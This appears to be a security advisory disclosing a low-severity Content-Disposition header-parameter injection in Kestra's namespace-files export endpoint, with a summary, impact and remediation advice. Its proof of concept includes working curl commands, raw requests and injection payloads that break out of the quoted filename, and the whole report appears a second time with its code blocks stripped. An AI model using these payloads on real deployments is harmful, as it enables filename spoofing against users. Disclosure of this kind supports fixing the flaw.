Description
Summary
NamespaceFileController.export builds the Content-Disposition response header by directly concatenating the client-controlled {namespace} path segment into a quoted filename="..." parameter, with no validation or output-encoding of the namespace value. A " (double quote) inside namespace breaks out of the quoted filename and lets the caller inject additional Content-Disposition parameters (filename spoofing / header-parameter confusion). The namespace is not validated at this endpoint - a value containing ", spaces, or ; is accepted and the endpoint returns HTTP 200 - confirming the missing input validation. Raw CR/LF response splitting is not possible (Micronaut rejects header values containing CR/LF), so impact is bounded to filename spoofing, and this is reported as Low.
Details
The header is built by raw string concatenation of the namespace:
webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:311
return HttpResponse.ok(bos.toByteArray())
.header("Content-Disposition", "attachment; filename=\"" + namespace + "_files.zip\"");
The {namespace} path variable is not checked against Kestra's namespace format before this use, so an attacker-chosen quote closes the filename="..." value early and appends arbitrary further Content-Disposition parameters. The same raw-path-segment reflection pattern exists at DashboardController.java:418-419,437-438 (the filename there is built from {id} and {chartId}), also unvalidated and similarly limited.
CR/LF injection into the header value is rejected by the framework (HTTP 422 "Invalid header value"), so full HTTP response splitting is not achievable - only in-header parameter injection.
PoC
Complete, reproducible instructions with real, unredacted values captured from a live run.
Environment. Kestra v1.3.37 at http://localhost:3031, basic-auth admin@kestra.io / Admin1234! (so Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=).
Step 1 - Baseline: a normal namespace
Raw request:
GET /api/v1/main/namespaces/company.team/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=
Command:
curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
'http://localhost:3031/api/v1/main/namespaces/company.team/files/export'
Response headers (relevant line):
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="company.team_files.zip"
Step 2 - Quote breakout: namespace = foo"bar (URL-encoded foo%22bar)
Raw request:
GET /api/v1/main/namespaces/foo%22bar/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=
Command:
curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
'http://localhost:3031/api/v1/main/namespaces/foo%22bar/files/export'
Response headers:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="foo"bar_files.zip"
The injected " closes the quoted filename value early - the header is now malformed with the attacker's quote inside it.
Step 3 - Inject a second filename parameter: namespace = x"; filename="pwned.html
URL-encoded namespace: x%22%3B%20filename%3D%22pwned.html.
Raw request:
GET /api/v1/main/namespaces/x%22%3B%20filename%3D%22pwned.html/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=
Command:
curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
'http://localhost:3031/api/v1/main/namespaces/x%22%3B%20filename%3D%22pwned.html/files/export'
Response headers:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x"; filename="pwned.html_files.zip"
A second filename parameter (filename="pwned.html...") has been injected into the Content-Disposition header. Clients that honour the last/second filename parameter save the archive under the attacker-chosen name.
Step 4 - CR/LF is blocked (no full response splitting)
Command:
curl -s -u 'admin@kestra.io:Admin1234!' -D - \
'http://localhost:3031/api/v1/main/namespaces/foo%0d%0aX-Injected:%20yes/files/export'
Response:
HTTP/1.1 422 Illegal argument
{"message":"Illegal argument: Invalid header value", ...}
The framework rejects CR/LF in the header value, so this is header-parameter injection only, not full HTTP response splitting.
Differential summary (all captured live)
namespace value |
Resulting Content-Disposition |
Status |
company.team (baseline) |
attachment; filename="company.team_files.zip" |
200 |
foo"bar |
attachment; filename="foo"bar_files.zip" |
200 (quote breakout) |
x"; filename="pwned.html |
attachment; filename="x"; filename="pwned.html_files.zip" |
200 (second param injected) |
foo\r\nX-Injected: yes |
- |
422 Invalid header value (CR/LF blocked) |
Impact
This is an improper-output-encoding / improper-input-validation issue (header parameter injection).
- Filename spoofing in the
Content-Disposition header of a ZIP download: an attacker who induces a victim to trigger this export (e.g. a crafted link to the export endpoint with an attacker-chosen namespace) influences the saved filename and can append conflicting header parameters, potentially causing the browser to save the archive under a misleading name or extension.
- CR/LF response splitting is not achievable (framework-blocked), which bounds the severity to Low.
- The same class of unvalidated path-segment reflection into
Content-Disposition exists at DashboardController.java:418-419,437-438.
Impacted: any deployment exposing the namespace-files export endpoint to users who can be induced to follow a crafted export URL.
Remediation
- Validate
{namespace} against Kestra's namespace format (e.g. ^[a-z0-9][a-z0-9._-]*$) at the export controller before use.
- Sanitize/encode any value interpolated into
Content-Disposition (strip ", ;, control chars; use RFC 6266 filename* encoding), or use a fixed static filename for the archive.
- Apply the same validation/encoding at
DashboardController.java:418-419,437-438.
Description
Summary
NamespaceFileController.exportbuilds theContent-Dispositionresponse header by directly concatenating the client-controlled{namespace}path segment into a quotedfilename="..."parameter, with no validation or output-encoding of the namespace value. A"(double quote) insidenamespacebreaks out of the quoted filename and lets the caller inject additionalContent-Dispositionparameters (filename spoofing / header-parameter confusion). The namespace is not validated at this endpoint - a value containing", spaces, or;is accepted and the endpoint returnsHTTP 200- confirming the missing input validation. Raw CR/LF response splitting is not possible (Micronaut rejects header values containing CR/LF), so impact is bounded to filename spoofing, and this is reported as Low.Details
The header is built by raw string concatenation of the namespace:
webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:311The
{namespace}path variable is not checked against Kestra's namespace format before this use, so an attacker-chosen quote closes thefilename="..."value early and appends arbitrary furtherContent-Dispositionparameters. The same raw-path-segment reflection pattern exists atDashboardController.java:418-419,437-438(thefilenamethere is built from{id}and{chartId}), also unvalidated and similarly limited.CR/LF injection into the header value is rejected by the framework (
HTTP 422 "Invalid header value"), so full HTTP response splitting is not achievable - only in-header parameter injection.PoC
Complete, reproducible instructions with real, unredacted values captured from a live run.
Environment. Kestra v1.3.37 at
http://localhost:3031, basic-authadmin@kestra.io/Admin1234!(soAuthorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=).Step 1 - Baseline: a normal namespace
Raw request:
Command:
Response headers (relevant line):
Step 2 - Quote breakout:
namespace = foo"bar(URL-encodedfoo%22bar)Raw request:
Command:
Response headers:
The injected
"closes the quotedfilenamevalue early - the header is now malformed with the attacker's quote inside it.Step 3 - Inject a second
filenameparameter:namespace = x"; filename="pwned.htmlURL-encoded namespace:
x%22%3B%20filename%3D%22pwned.html.Raw request:
Command:
Response headers:
A second
filenameparameter (filename="pwned.html...") has been injected into theContent-Dispositionheader. Clients that honour the last/secondfilenameparameter save the archive under the attacker-chosen name.Step 4 - CR/LF is blocked (no full response splitting)
Command:
Response:
The framework rejects CR/LF in the header value, so this is header-parameter injection only, not full HTTP response splitting.
Differential summary (all captured live)
namespacevalueContent-Dispositioncompany.team(baseline)attachment; filename="company.team_files.zip"foo"barattachment; filename="foo"bar_files.zip"x"; filename="pwned.htmlattachment; filename="x"; filename="pwned.html_files.zip"foo\r\nX-Injected: yesImpact
This is an improper-output-encoding / improper-input-validation issue (header parameter injection).
Content-Dispositionheader of a ZIP download: an attacker who induces a victim to trigger this export (e.g. a crafted link to the export endpoint with an attacker-chosen namespace) influences the saved filename and can append conflicting header parameters, potentially causing the browser to save the archive under a misleading name or extension.Content-Dispositionexists atDashboardController.java:418-419,437-438.Impacted: any deployment exposing the namespace-files export endpoint to users who can be induced to follow a crafted export URL.
Remediation
{namespace}against Kestra's namespace format (e.g.^[a-z0-9][a-z0-9._-]*$) at the export controller before use.Content-Disposition(strip",;, control chars; use RFC 6266filename*encoding), or use a fixed static filename for the archive.DashboardController.java:418-419,437-438.